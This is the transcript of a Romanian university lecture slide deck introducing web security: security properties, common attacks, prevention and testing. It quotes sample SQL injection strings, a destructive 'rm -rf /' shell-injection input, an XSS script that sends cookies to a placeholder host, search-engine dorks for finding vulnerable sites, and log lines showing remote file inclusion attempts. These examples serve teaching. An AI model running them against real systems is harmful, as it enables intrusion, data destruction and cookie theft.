Programare Web (Introducere in securitate)

  • 83,848 views
Uploaded on

A brief introduction into Web security.

A brief introduction into Web security.

More in: Technology
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Be the first to comment
    Be the first to like this
No Downloads

Views

Total Views
83,848
On Slideshare
0
From Embeds
0
Number of Embeds
1

Actions

Shares
Downloads
161
Comments
0
Likes
0

Embeds 0

No embeds

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
    No notes for slide

Transcript

  • 1. Tehnologii Web 2007 Programare Web Introducere in securitate Dr. Sabin-Corneliu Buraga Facultatea de Informatica Universitatea “A.I.Cuza” – Iasi, Romania http://www.infoiasi.ro/~busaco/ 1 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 2. Tehnologii Web 2007 cuprins • Preliminarii • Aspecte privind securitatea datelor • Atacuri Web • Prevenirea & supravietuirea • Monitorizarea & testarea • De retinut 2 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 3. Tehnologii Web 2007 preliminarii • Incident de securitate ≡ eveniment aparut in cadrul retelei, cu implicatii asupra securitatii unui calculator sau a retelei – Provenind din interiorul ori exteriorul retelei – In cazul nostru, priveste serverul Web, clientul Web si/sau alte componente software aditionale (e.g., serverul de stocare a datelor) • Multe protocoale de baza ale Internetului (inclusiv HTTP) nu au luat in calcul vulnerabilitatile ce pot surveni • Cracker versus hacker 3 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 4. Tehnologii Web 2007 preliminarii • Vulnerabilitate ≡ slabiciune a unui sistem hardware/software ce permite utilizatorilor neautorizati sa aiba acces asupra sa • Nici un sistem nu este 100% sigur • Vulnerabilitatile apar si datorita proastei administrari 4 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 5. Tehnologii Web 2007 preliminarii • Cauzele existentei vulnerabilitatilor – Bug-uri (erori) existente in programe (script-uri, servere Web, navigatoare,...), introduse deseori neintentionat – Ignorarea/nedocumentarea bug-urilor existente (cunoscute) – Configurarea necorespunzatoare a programelor, serverelor si retelelor – Lipsa suportului din partea producatorilor – Comoditatea sau necunoasterea problemelor de securitate de catre administrator ori de conducerea organizatiei 5 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 6. Tehnologii Web 2007 aspecte • Aspecte privind securitatea datelor: –Confidentialitatea –Autentificarea –Autorizarea –Integritatea –Nerepudierea –Intimitatea (privacy) –Disponibilitatea 6 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 7. Tehnologii Web 2007 aspecte • Confidentialitatea – Imposibilitatea unei terte entitati sa aiba acces la datele vehiculate intre doi receptori – Solutii: • conexiuni private intre cele 2 puncte terminale ale canalului de comunicatie; datele circula printr-un tunel oferit de o retea privata virtuala (VPN – Virtual Private Network) • criptarea datelor via diverse tehnici (biblioteci specializate si/sau oferite de mediile de dezvoltare) 7 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 8. Tehnologii Web 2007 aspecte • Autentificarea – Mecanism ce permite utilizatorilor sa acceseze un serviciu dupa verificarea identitatii utilizatorului (uzual, pe baza de nume + parola) – Solutii: • serverul Web ofera suport pentru autentificari de baza sau bazate pe algoritmi de tip digest (e.g., MD5) • folosirea unor tehnici speciale la nivel de aplicatie 8 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 9. Tehnologii Web 2007 aspecte • Autorizarea – Specifica actiunile (rolurile) pe care un utilizator le poate realiza; asociata autentificarii – Se permite administratorului definirea politicilor de control al accesului la servicii – Solutii: • drepturi de acces (permisiuni) + liste de control al accesului (ACL – Access Control List) • controlul accesului bazat pe roluri (RBAC – Role-Based Access Control) • tehnici de tip SSO (Single Sign-On) – e.g., OpenID 9 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 10. Tehnologii Web 2007 aspecte • Integritatea –In acest context, implica detectarea incercarilor de modificare neautorizata a datelor transmise –Solutii: • algoritmi de tip digest • semnaturi digitale 10 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 11. Tehnologii Web 2007 aspecte • Nerepudierea – Expeditorul mesajului nu poate afirma ca nu l-a trimis – Solutie: certificate digitale • stocheaza datele privind identitatea unei entitati detinatoare a unui secret (parola, Infrastructura serie a cartii de credit, certif. digital,…) cu chei publice (PKI – Public • emise de o autoritate de certificare Key (CA – Certification Authority) Infrastruc.) • verificate de o autoritate de inregistrare (RA – Registration Authority) 11 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 12. Tehnologii Web 2007 aspecte • Disponibilitatea –O anumita resursa sa poata fi accesata la momentul oportun –Cauze ale indisponibilitatii: • atacuri de refuz al serviciilor DoS (Denial Of Service) • atacuri distribuite de tip DDoS (Distributed DoS) 12 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 13. Tehnologii Web 2007 aspecte • Intimitatea – Confundata, deseori, cu confidentialitatea – Vizeaza drepturile ce trebuie respectate privind caracterul (subiectul) datelor vehiculate – Brese: • stocarea necorespunzatoare a datelor la nivel de server (information disclosure) • atacuri de tip XSS (Cross-Site Scripting) • atacuri de tip phishing • configurarea necorespunzatoare a sistemelor 13 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 14. Tehnologii Web 2007 atacuri • Securitatea Web trebuia sa ia in consideratie: – Clientul: interactiune, date personale (cookie-uri), transferuri asincrone (via AJAX),… – Datele in tranzit: securitatea retelei, schimb sigur de mesaje, ne-repudiere – Serverul: securitatea serverului ori serverelor, securitatea aplicatiilor, disponibilitatea serviciilor • Atacurile pot viza oricare din cele 3 aspecte! 14 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 15. Tehnologii Web 2007 atacuri • SQL injection –Scrierea unor interogari SQL care permit afisarea, alterarea, stergerea de date din baze de date via formulare Web ori direct prin intermediul URI-ului – Exemplu: select * from studs where name=$name and pass=$pass cu $name preluat din formular: '' or 1=1 -- – Exemplu: http://www.sit.org/access_client.php?client=3 in script: select credit_card from clients where client=$client ce se intimpla daca URI-ul este http://www.sit.org/access_client.php?client=client ? dar daca in loc de select era un delete? 15 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 16. Tehnologii Web 2007 atacuri • SQL injection – variatii – Crearea de interogari SQL incorecte pentru a avea acces la mesaje de eroare “interesante” – Exemplu: http://www.sit.org/prog.php?id=1+OR+gh=1 – Se poate obtine un mesaj precum: [Microsoft][ODBC SQL Server Driver] [SQL Server]Invalid column name ’gh’. SELECT group_id, securityName, maxSalesCharge, price, security_id, trade_date FROM funds WHERE group_id = 1 OR gh=1 ORDER BY price DESC – Atacatorul poate continua, de pilda, cu http://www.sit.org/prog.php?id=1;DELETE+FROM+funds+-- – Solutii: proceduri stocate, neutralizarea meta-caracterelor SQL, prepared statements,… 16 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 17. Tehnologii Web 2007 atacuri • Shell command injection – Posibilitatea de a rula comenzi externe din cadrul script-urilor CGI – Exemplu: fie liniile Perl $utiliz = $form{quot;numequot;}; print `finger $utiliz`; – Ce se intimpla daca din formular se preia root; rm –rf / ? – Idem si pentru programe scrise in alte limbaje interpretate (e.g., PHP) sau chiar cele C – poisonous null-byte attack 17 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 18. Tehnologii Web 2007 atacuri • Cross-Site Scripting (XSS) – “Injectarea” in cadrul sistemului, pentru executia direct in browser, a script-urilor JavaScript/VBScript • Functioneaza mai ales in cadrul siturilor Web permitind interactiunea cu utilizatorul (e.g., forumuri, blog-uri, wiki-uri) • Poate conduce si la furtul identitatii (phishing) sau la plasarea de cod malware la client: Cross-Site Request Forgery 18 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 19. Tehnologii Web 2007 atacuri • Cross-Site Scripting (XSS) – Exemplu: <img src=“javascript:cod” /> ce redirectioneaza utilizatorul spre alt sit, preia valori de cookie-uri ori blocheaza browser-ul – Alte exemple: <script> document.location.replace ( quot;http://www.sit.org/furt.phpquot; + quot;?c=quot; + document.cookie); </script> <script> for (i = 0; i < 3000; i++) window.open (quot;http://www.sit.org/quot;); </script> 19 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 20. Tehnologii Web 2007 atacuri • Cross-Site Scripting (XSS) – variatii – Folosirea de cod JavaScript pentru a modifica textul redat de navigatorul Web utilizatorului – Adoptarea de tehnici de social engineering: manipularea utilizatorilor de catre atacator (prin intimidare, santaj, autoritate, flatare, substitutie de persoana, vanitate etc.) – Furtul de parole – Solutii: inhibarea folosirii tag-urilor HTML, HTML escaping, filtrarea marcatorilor, separarea prezentarii datelor de procesarea efectiva etc. 20 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 21. Tehnologii Web 2007 atacuri • O problema o pot cauza URI/IRI-urile (revezi cursul 1) – Exemplu: http://www.google.com@63. 241.3.69/ – Codificarea defectuoasa a codurilor hexa ⇒ vulnerabilitati in cadrul unor servere Web – Includerea caracterelor Unicode – probleme la decodificarea URL-urilor considerate “sigure” – Siturile avind domenii internationale (IDN – International Domain Names) – atacuri bazate pe homografie 21 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 22. Tehnologii Web 2007 atacuri • O alta problema: folosirea parolelor – 93% din procesele de autentificare folosesc parole – Cu cit utilizatorul trebuie sa retina mai multe parole, cu atit sistemul de protectie via parole e predispus la brese in securitate: • Alegerea unor parole slabe • Partajarea parolelor (grupuri de prieteni, colegi,...) • Scrierea parolelor pe hirtie (eventual, la vedere) • Folosirea unei aceleasi parole timp indelungat, pentru mai multe aplicatii/sisteme – Solutii: Single Sign-On (SSO), identificare biometrica etc. 22 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 23. Tehnologii Web 2007 atacuri • O alta problema: troienii Web – Situri (adrese) aparent folositoare – Se pot folosi in conjunctie cu XSS sau tehnici de tip social engineering – Solutie: implementarea unui sistem de tichete (ticket system) – fiecare actiune ce poate fi realizata de utilizator are asociat un tichet (numar) aleatoriu, folosit o singura data 23 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 24. Tehnologii Web 2007 atacuri • Detectarea posibilelor vulnerabilitati (datorate unor configuratii incorecte ori implicite ale serverelor si/sau aplicatiilor Web) se poate realiza apelind la un motor de cautare –Vezi si proiectul “Google Hack” Honeypot: http://ghh.sourceforge.net/ 24 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 25. Tehnologii Web 2007 atacuri • Exemple de actiuni: – Detectia versiunilor de programe avind bug-uri cunoscute: “Apache/2.0.52 server at” – Accesul la fisiere .bak: inurl:index.php.bak – Accesarea intranet-ului: intitle:intranet – “Vinarea” de e-mail-uri: “@gmail.com” –www.gmail.com – Detectarea paginilor de administrare: “admin login” – Gasirea unor instalari implicite: intitle:”welcome to” intitle:internet IIS – Localizarea interfetelor spre sistemele de baze de date: inurl:main.php phpMyAdmin 25 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 26. Tehnologii Web 2007 atacuri • Exemple de actiuni (continuare): – Localizarea siturilor bazate pe aplicatii Web recunoscute ca fiind vulnerabile: inurl:custva.asp – Cautarea de aplicatii instalate pe diverse masini sau a fisierelor de jurnalizare: inurl:error.log +filetype:log –cvs – Gasirea numelor de utilizatori: filetype:conf inurl:proftpd.conf –sample – Cautarea unor mesaje de eroare generate de aplicatii/servere de baze de date: “ASP.NET_SessionId” “data source=” – Vezi si http://johnny.ihackstuff.com/ 26 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 27. Tehnologii Web 2007 prevenirea • Tehnici: – Nivelul retea: firewall-uri – Nivel de transport: TLS (Transport Layer Security) – autentificarea & confidentialitatea mesajelor HTTP • Autentificare via certificate digitale • Confidentialitate via criptare – Nivel de aplicatie: securitate persistenta a mesajelor vehiculate 27 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 28. Tehnologii Web 2007 prevenirea • Studiu de caz: consultarea fisierelor de jurnalizare 194.87.32.44 quot;GET /~sd/components/com_forum/download.php? phpbb_root_path=http://ccfish.biz/c.txt? HTTP/1.1quot; 404 1015 83.169.102.168 quot;GET /~fl/An1/template.php? name=http://members.lycos.co.uk/djomlauhc/x.dat? HTTP/1.1quot; 404 1015 89.37.44.128 quot;GET /common/labs.xsl HTTP/1.1quot; 404 1192 84.9.62.22 quot;GET /edit.vip.tpe.yahoo.com/config/isp_verify_user? l=voodoostri&p=6969 HTTP/1.1quot; 404 1158 194.109.52.127 quot;GET /~ad/templates/pb/language/lang_nl.php? temppath=http://blog1564448.123-reg-blogs.co.uk/c.txt? HTTP/1.1quot; 404 1015 86.54.21.123 quot;GET /MSOffice/cltreq.asp?UL=1&ACT=4&BUILD=2614 &STRMVER=4&CAPREQ=0 HTTP/1.0quot; 404 1015 86.54.21.123 quot;GET /_vti_bin/owssvr.dll?UL=1&ACT=4&BUILD=2614 &STRMVER=4&CAPREQ=0 HTTP/1.0quot; 404 1015 28 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 29. Tehnologii Web 2007 supravietuirea • Supravietuirea ≡ capacitatea unui sistem (calculator/retea) de a-si indeplini misiunea, in timp util, in pofida atacurilor, defectelor sau accidentelor • Atac ≡ eveniment potential distrugator provocat intentionat de persoane rau-voitoare • Defect ≡ eveniment potential distrugator cauzat de deficiente ale sistemului sau ale unui factor de care depinde sistemul (e.g., defecte hardware, bug-uri software, erori ale utilizatorilor) • Accident ≡ evenimente aleatoare (neprevazute); exemple: dezastre naturale sau caderi de tensiune 29 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 30. Tehnologii Web 2007 supravietuirea • Sistemul trebuie sa-si duca pina la capat misiunea chiar daca unele componente sau parti din sistem sint afectate ori scoase din uz – Exemplu: oferirea unei copii read-only a forumului de discutii sau blog-ului asociat unui domeniu/produs • Sistemul trebuie sa sustina macar indeplinirea functiilor vitale (mission-critical) – Identificarea serviciilor esentiale (e.g., acces la lista produselor in cazul unui sit de comert electronic) 30 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 31. Tehnologii Web 2007 supravietuirea • Proprietati ale sistemului: – Rezistenta la atacuri ≡ strategii de respingere a atacului (i.e. validarea obligatorie a datelor – via expresii regulate, scheme XML etc., autentificarea utilizatorilor, acordarea privilegiilor minime) – Recunoasterea atacurilor si efectelor lor ≡ strategii pentru restaurarea informatiilor, limi- tarea efectelor, mentinerea/restaurarea serviciilor compromise (e.g., recurgerea la ferme de servere Web – Web farms, RAID, SAN (Storage Area Network), backup-uri,...) – Adaptarea la atacuri ≡ strategii pentru imbunatatirea nivelului (sansei) de supravietuire (invatarea din greseli) 31 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 32. Tehnologii Web 2007 monitorizare & testare • Teste de verificare a: – Capacitatii de deservire a clientilor – Robustetei – Rularii in situatii extreme • Se iau in consideratie: – Tipul navigatorului (+setarile implicite) – Platforma (hardware, sistem de operare,...) – Interfata (rezolutia ecranului, adincimea de culoare, largimea de banda,...) – Politica de caching (+siguranta proxy-ului) – Suportul pentru redarea unor tipuri de documente (securitatea folosirii plugin-urilor) – Limbajul/limbajele de programare utilizate (inclusiv, serverul/serverele de aplicatii) 32 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 33. Tehnologii Web 2007 de retinut • Securitatea unei aplicatii Web: – Trebuie sa ia in consideratie arhitectura, logica, codul-sursa si continutul in ansamblu – Nu vizeaza vulnerabilitatile sistemului de operare ori ale programelor auxiliare • Vulnerabilitatile unui sit nu sint “celebre” si vor fi independente deseori de securitatea sistemului pe care este exploatat situl 33 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 34. Tehnologii Web 2007 de retinut • Tipuri de vulnerabilitati specifice: –Probleme de autentificare –Managementul sesiunilor –Injectarea de scripturi (XSS) ori comenzi SQL –Expunerea (involuntara) a informatiilor delicate (information disclosure) –Accesul la codul-sursa ori la fisierele de configurare a aplicatiei Web 34 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 35. Tehnologii Web 2007 de retinut • Riscurile de securitate nu vizeaza numai proprietarul sitului, ci si utilizatorul final • Disconforturi cauzate de un sit nesigur: – Financiare (pierdere de bani/informatii) – De performanta (blocarea navigatorului, incetinirea actiunilor,...) – Psihologice (insatisfactie) – Sociale (e.g., incapacitatea de munca, lipsa comunicarii cu partenerii de lucru etc.) – De timp (navigare greoaie, deturnare spre alt sit,...) 35 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 36. Tehnologii Web 2007 rezumat • Preliminarii • Aspecte privind securitatea datelor • Atacuri Web • Prevenirea & supravietuirea • Monitorizarea & testarea • De retinut 36 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 37. Tehnologii Web 2007 Intrebari…? 37 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/